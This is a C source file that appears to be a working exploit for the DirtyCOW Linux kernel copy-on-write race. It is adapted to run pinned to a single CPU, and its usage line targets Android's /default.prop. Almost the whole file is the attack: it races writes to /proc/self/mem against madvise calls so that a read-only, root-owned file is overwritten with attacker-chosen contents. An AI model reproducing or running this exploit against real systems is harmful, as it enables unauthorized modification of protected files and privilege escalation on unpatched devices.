/*
 *  https://github.com/dirtycow/dirtycow.github.io/issues/26
 *  Yet another challenge: exploit #DirtyCOW on 1 CPU. Can you make a suitable code path sleep (& context-switch) at a right time?
 *
 *  chengjia4574@gmail.com , @chengjia4574
*/

#include <err.h>
#include <dlfcn.h>
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <limits.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/types.h>

#define _GNU_SOURCE
#include <sched.h>


#define ONE_CPU 1 
#define DEBUG 1
#ifdef DEBUG
#define LOGV(...) { printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
#else
#define LOGV(...) 
#endif

#define LOOP   0x100000
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif


struct mem_arg  {
	unsigned char *offset;
	unsigned char *patch;
	unsigned char *unpatch;
	size_t patch_size;
	int do_patch;
};

void debug_cpu()
{ 
	int i;
	cpu_set_t get;
	CPU_ZERO(&get); 
	if (sched_getaffinity(0, sizeof(get), &get) == -1) 
	{ 
		printf("warning: cound not get cpu affinity, continuing...\n"); 
	} 
	for (i = 0; i < 8; i++) 
	{ 
		if (CPU_ISSET(i, &get)) 
		{ 
			printf("this process %d is running processor : %d\n",getpid(), i); 
		} 
	} 
} 

#ifdef ONE_CPU
void set_cpu()
{
	cpu_set_t mask;
	CPU_ZERO(&mask); 
	CPU_SET(ONE_CPU, &mask); 
	if (sched_setaffinity(0, sizeof(mask), &mask) == -1) 
	{ 
		printf("warning: could not set CPU affinity, continuing...\n"); 
	} 
}
#endif

void exploit(struct mem_arg *mem_arg)
{
	pid_t pid;
	int i, c = 0;

	int fd = open("/proc/self/mem", O_RDWR);
	if (fd == -1)
		LOGV("open(\"/proc/self/mem\"");

	pid = fork();
	if(pid == 0) {
#ifdef ONE_CPU
		set_cpu();
		debug_cpu();
#endif
		for(i = 0; i < LOOP; i++) {
			lseek(fd, (off_t)mem_arg->offset, SEEK_SET);
			c += write(fd, mem_arg->patch, mem_arg->patch_size);
		}
	}
	else if(pid > 0) {
#ifdef ONE_CPU
		set_cpu();
		debug_cpu();
#endif
		for(i = 0; i < LOOP; i++) {
			c += madvise(mem_arg->offset, mem_arg->patch_size, MADV_DONTNEED);
		}
	}

	close(fd);
}

int main(int argc, char *argv[])
{
	if (argc < 2) {
		LOGV("usage %s /default.prop /data/local/tmp/default.prop", argv[0]);
		return 0;
	}

	struct mem_arg mem_arg;
	struct stat st;
	struct stat st2;

	int f=open(argv[1],O_RDONLY);
	if (f == -1) {
		LOGV("could not open %s", argv[1]);
		return 0;
	}
	if (fstat(f,&st) == -1) {
		LOGV("could not open %s", argv[1]);
		return 0;
	}
	LOGV("open %s", argv[1]);

	int f2=open(argv[2],O_RDONLY);
	if (f2 == -1) {
		LOGV("could not open %s", argv[2]);
		return 0;
	}
	if (fstat(f2,&st2) == -1) {
		LOGV("could not open %s", argv[2]);
		return 0;
	}

	size_t size = st.st_size;

	if (st2.st_size != st.st_size) {
		LOGV("warning: new file size (%lld) and file old size (%lld) differ\n", st2.st_size, st.st_size);
		if (st2.st_size > size) {
			size = st2.st_size;
		}
	}

	//LOGV("size %d\n\n",size);

	mem_arg.patch = malloc(size);
	if (mem_arg.patch == NULL)
		LOGV("malloc");

	memset(mem_arg.patch, 0, size);

	mem_arg.unpatch = malloc(size);
	if (mem_arg.unpatch == NULL)
		LOGV("malloc");

	read(f2, mem_arg.patch, st2.st_size);
	close(f2);

	/*read(f, mem_arg.unpatch, st.st_size);*/

	mem_arg.patch_size = size;
	mem_arg.do_patch = 1;

	void * map = mmap(NULL, size, PROT_READ, MAP_PRIVATE, f, 0);
	if (map == MAP_FAILED) {
		LOGV("mmap fail %s\n",strerror(errno));
		return 0;
	}

	//LOGV("[*] mmap %p", map);

	mem_arg.offset = map;

	exploit(&mem_arg);

	LOGV("[*] done !");

	close(f);

	return 0;
}
